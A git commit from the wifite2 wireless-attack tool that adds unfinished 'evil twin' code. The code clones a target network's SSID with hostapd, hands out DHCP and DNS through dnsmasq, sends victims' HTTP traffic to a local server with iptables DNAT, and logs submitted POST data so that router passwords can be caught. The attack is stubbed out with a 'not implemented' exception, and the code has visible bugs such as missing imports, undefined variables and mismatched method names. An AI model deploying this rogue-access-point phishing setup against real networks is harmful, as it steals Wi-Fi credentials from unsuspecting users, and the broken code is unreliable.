Adding eviltwin tools, updated args.

This commit is contained in:
derv82
2018-04-21 11:44:01 -04:00
parent 9a12e38dda
commit 94dd02b3ab
7 changed files with 398 additions and 2 deletions

View File

@@ -148,7 +148,7 @@ class Arguments(object):
def _add_eviltwin_args(self, group): def _add_eviltwin_args(self, group):
group.add_argument('-ev', group.add_argument('-et',
'--eviltwin', '--eviltwin',
action='store_true', action='store_true',
dest='use_eviltwin', dest='use_eviltwin',

143
wifite/attack/eviltwin.py Normal file
View File

@@ -0,0 +1,143 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..model.attack import Attack
from ..tools.ifconfig import Ifconfig
from ..tools.iptables import Iptables
from ..tools.eviltwin_server import EviltwinServer
from ..util.color import Color
from ..config import Configuration
class EvilTwinAttack(Attack):
def __init__(self, target):
super(EvilTwinAttack, self).__init__(target)
self.target = target
self.success = False
self.completed = False
self.crack_result = None
self.crack_result = None
self.hostapd = None
self.dnsmasq = None
self.deauther = None # Mdk3Deauther?
def success_callback(self, crack_result):
# TODO: Stop all processes & reset IP tables
self.crack_result = crack_result
self.success = True
self.completed = True
def error_callback(self, error_msg):
self.completed = True
def run(self):
# Take interface out of monitor mode
raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
monitor_interface = Configuration.interface
(_, base_interface) = Airmon.stop(monitor_interface)
Ifconfig.up(base_interface, ['10.0.0.1/24'])
self.configure_iptables(base_interface)
self.hostapd = Hostapd(self.target)
self.hostapd.start(base_interface)
server = EviltwinServer()
server.serve_forever()
try:
while not self.completed:
time.sleep(1)
except KeyboardInterrupt as e:
self.cleanup()
raise e
if self.success:
print status, save
return
if self.error_msg:
raise Exception(self.error_msg)
def cleanup(self):
'''
TODO:
* Kill all processes
* Delete config files from temp
* Reset iptables
* Reset interface state?
'''
pass
def set_port_forwrading(self, enabled=True):
# echo "1" > /proc/sys/net/ipv4/ip_forward
# TODO: Are there other ways to do this?
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
ip_forward.write('1' if enabled else '0')
def configure_iptables(self, base_interface):
# iptables -N internet -t mangle
Iptables.new_chain('internet', 'mangle')
#iptables -t mangle -A PREROUTING -j internet
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'internet'
])
#iptables -t mangle -A internet -j MARK --set-mark 99
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'MARK',
'--set-mark', '99',
])
#iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
Iptables.append('PREROUTING', table='nat', rules=[
'--match', 'mark',
'--mark', '99',
'--protocol', 'tcp',
'--dport', '80',
'--jump', 'DNAT',
'--to-destination', '10.0.0.1',
])
self.set_port_forwarding(enabled=True)
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', 'eth0',
'--out-interface', base_interface,
'--match', 'state',
'--state', 'ESTABLISHED,RELATED',
'--jump', 'ACCEPT',
])
#iptables -A FORWARD -m mark --mark 99 -j REJECT
Iptables.append('FORWARD', rules=[
'--match', 'mark',
'--mark', '99',
'--jump', 'REJECT',
])
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', base_interface,
'--out-interface', 'eth0',
'--jump', 'ACCEPT',
])
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Iptables.append('POSTROUTING', table='nat', rules=[
'--out-interface', 'eth0',
'--jump', 'MASQUERADE',
])

67
wifite/tools/dnsmasq.py Executable file
View File

@@ -0,0 +1,67 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import os
from .dependency import Dependency
from ..util.process import Process
from ..config import Configuration
class Dnsmasq(Dependency):
'''Wrapper for dnsmasq program.'''
dependency_required = False
dependency_name = 'dnsmasq'
dependency_url = 'apt-get install dnsmasq'
def __init__(self, interface):
self.interface = interface
self.pid = None
def create_config_file(self):
config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
if os.path.exists(config_file):
os.remove(config_file)
with open(config_file, 'w') as config:
config.write('interface={}\n'.format(self.interface))
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
config.write('dhcp-option=3,10.0.0.1\n')
config.write('dhcp-option=6,10.0.0.1\n')
config.write('server=8.8.8.8\n')
config.write('log-queries\n')
config.write('log-dhcp\n')
return config_file
def start(self):
config_file = self.create_config_file()
# Stop already-running dnsmasq process
self.killall()
# Start new dnsmasq process
self.pid = Process([
'dnsmasq',
'-C', config_file
])
def stop(self):
# Kill dnsmasq process
if self.pid:
self.pid.interrupt()
self.killall()
# TODO: Wait until dnsmasq is completely stopped.
def check(self):
# TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc.
if self.pid.poll() is not None:
# Process stopped
pass
def killall(self):
Process(['killall', 'dnsmasq']).wait()

View File

@@ -0,0 +1,64 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class EviltwinServer(HTTPServer):
def __init__(self, success_callback, port=80):
super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler)
def serve_forever(self):
super(EviltwinServer, self).serve_forever()
class EviltwinRequestHandler(BaseHTTPRequestHandler):
def __init__(self, success_callback):
self.success_callback = success_callback
def do_GET(self):
request_path = self.path
# TODO: URL mappings to load specific pages.
print("\n----- Request Start ----->\n")
print(request_path)
print(self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
def do_POST(self):
request_path = self.path
# TODO: If path includes router password, call self.success_callback
# TODO: Verify router passwords via separate interface?
print("\n----- Request Start ----->\n")
print(request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
print(request_headers)
print(self.rfile.read(length))
print("<----- Request End -----\n")
self.send_response(200)
do_PUT = do_POST
do_DELETE = do_GET
if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n"
"Run:\n\n"
" reflect")
(options, args) = parser.parse_args()
main()

74
wifite/tools/hostapd.py Executable file
View File

@@ -0,0 +1,74 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
import os
from .dependency import Dependency
from ..config import Configuration
class Hostapd(Dependency):
process_name = 'hostapd'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install hostapd'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
def __init__(self, target, interface):
self.target = target
self.interface = interface
self.pid = None
# Save hostapd state?
def create_config_file(self):
if not self.target.essid_known:
raise Exception('Cannot start hostapd if target has unknown SSID')
config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
with open(config_file, 'w') as config:
config.write('driver=nl80211\n')
config.write('ssid={}\n'.format(self.target.essid))
config.write('hw_mode=g\n') # TODO: support 5ghz
config.write('channel={}\n'.format(self.target.channel))
config.write('logger_syslog=-1\n')
config.write('logger_syslog_level=2\n')
return config_file
def start(self):
config_file = self.create_config_file()
self.killall()
self.pid = Process([
self.process_name,
'-C', config_file,
'-i', self.interface
])
def stop(self):
if self.pid:
self.pid.interrupt()
self.killall()
# TODO: Wait until hostapd is completely stopped.
def check(self):
# TODO: Check if hostapd is still running, if there's any errors in the logs, etc.
if self.pid.poll() is not None:
# Process stopped
pass
def killall(self):
Process(['killall', self.process_name]).wait()

47
wifite/tools/iptables.py Normal file
View File

@@ -0,0 +1,47 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
class Iptables(Dependency):
process_name = 'iptables'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install iptables'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
@classmethod
def __exec(cls, args, expect_return_code=0):
if type(args) is str:
args = args.split(' ')
command = [cls.process_name] + args
pid = Process(command)
pid.wait()
if expect_return_code and pid.poll() != 0:
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
@classmethod
def new_chain(cls, chain_name, table):
command = ['-N', name, '-t', table]
cls.__exec(command)
@classmethod
def append(cls, chain, table=None, rules=[]):
args = []
if table is not None:
args.extend(['-t', table])
args.extend(['-A', chain])
args.extend(rules)
cls.__exec(args)

View File

@@ -14,6 +14,7 @@ from .util.input import raw_input
from .attack.wep import AttackWEP from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS from .attack.wps import AttackWPS
from .attack.eviltwin import EvilTwinAttack
from .model.result import CrackResult from .model.result import CrackResult
from .model.handshake import Handshake from .model.handshake import Handshake
@@ -158,7 +159,7 @@ class Wifite(object):
# TODO: Check if Eviltwin attack is selected. # TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin: if Configuration.use_eviltwin:
pass attack = EvilTwinAttack(t)
elif 'WEP' in t.encryption: elif 'WEP' in t.encryption:
attack = AttackWEP(t) attack = AttackWEP(t)